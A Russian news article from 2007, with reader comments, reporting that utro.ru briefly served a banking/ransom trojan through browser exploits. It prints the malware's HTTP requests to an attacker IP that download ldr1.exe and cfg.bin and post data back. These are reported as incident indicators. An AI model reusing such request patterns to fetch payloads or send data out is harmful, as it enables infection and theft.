Сайт utro.ru в течение нескольких часов распространял опасный троян

image

Сегодня во второй половине дня, пользователи, зашедшие на сайт utro.ru, увидели предупреждение антивируса о попытке заражения троянской программой, эксплуатирующей уязвимости в Internet Explorer и Mozilla Firefox.

Сегодня во второй половине дня, пользователи,  зашедшие на сайт utro.ru, увидели предупреждение антивируса о попытке заражения троянской программой, эксплуатирующей уязвимости в Internet Explorer и Mozilla Firefox.

При подробном изучении троян выполнял следующий запрос:

GET /e1/index.php HTTP/1.1\r\n
Referer: http://utro.ru/includes5/banners/advert_part.html/r/n
Host: 81.95.149.66\r\n


а дальше происходила загрузка бота:

GET /e1/file.php HTTP/1.1\r\n
GET /ldr1.exe HTTP/1.1\r\n
GET /cfg.bin HTTP/1.0\r\n
POST /s.php?1=april_002fdf3f&i= HTTP/1.0\r\n


В результате атаки, в корне диска с: появлялся файл 3.tmp, который детектируется большинством антивирусов как Trojan-Spy.Win32.Bancos.aam. В windows/system32 записывался файл ntos.exe, который также определялся как Trojan-Spy.Win32.Bancos.aam.

По информации из Лаборатории Касперского троян шифрует пользовательские данные на компьютере и предлагает купить расшифровщик. В случае отказа, грозится выложить приватные данные пользователя в сети интернет.

В результате атаки могли пострадать несколько десятков тысяч пользователей сайта.

или введите имя

CAPTCHA
Страницы: 1  2  3  
25-07-2007 23:13:11
Мне вчера этот вирус с какого-то сайта попал, но на utro.ru я не был. Зашифрованных данных у себя на компьютере не встречал, может не успел зашифровать.
0 |
26-07-2007 04:44:04
И хочешь тихо прошептать... опера
0 |
26-07-2007 05:57:31
Даже опера бессильна против ламеров...
0 |
26-07-2007 07:19:19
и еще тише ... под линукс
0 |
1
22-08-2007 09:32:48
HiJack Тссс не раскрывай наш секрет
0 |
1
26-07-2007 07:15:43
Ну конечно, если у тя опера, то ты еп непобедим... Головой надо думать и антивирусник настраивать.
0 |
1
26-07-2007 07:53:34
Да хорош гнать!!! У них на сайте уже 3 или 4 месяца, пероидически трояны всплывают! По крайней мере Каспер матерится регулярно!
0 |
1
26-07-2007 08:43:31
Если я оперой пользуюсь 2 года то я ламер???? IMHO каждый использует то, что ему нравится и удобнее для пользования. Я так посмотрю что > 26.07.2007 08:15:02 Гость у нас крутой кулхацкер!!!???
0 |
1
26-07-2007 09:56:38
Ели бы не только пользовался, но и работал, то цены бы такому оперисту не было бы, бесценный вы наш.
0 |
Страницы: 1  2  3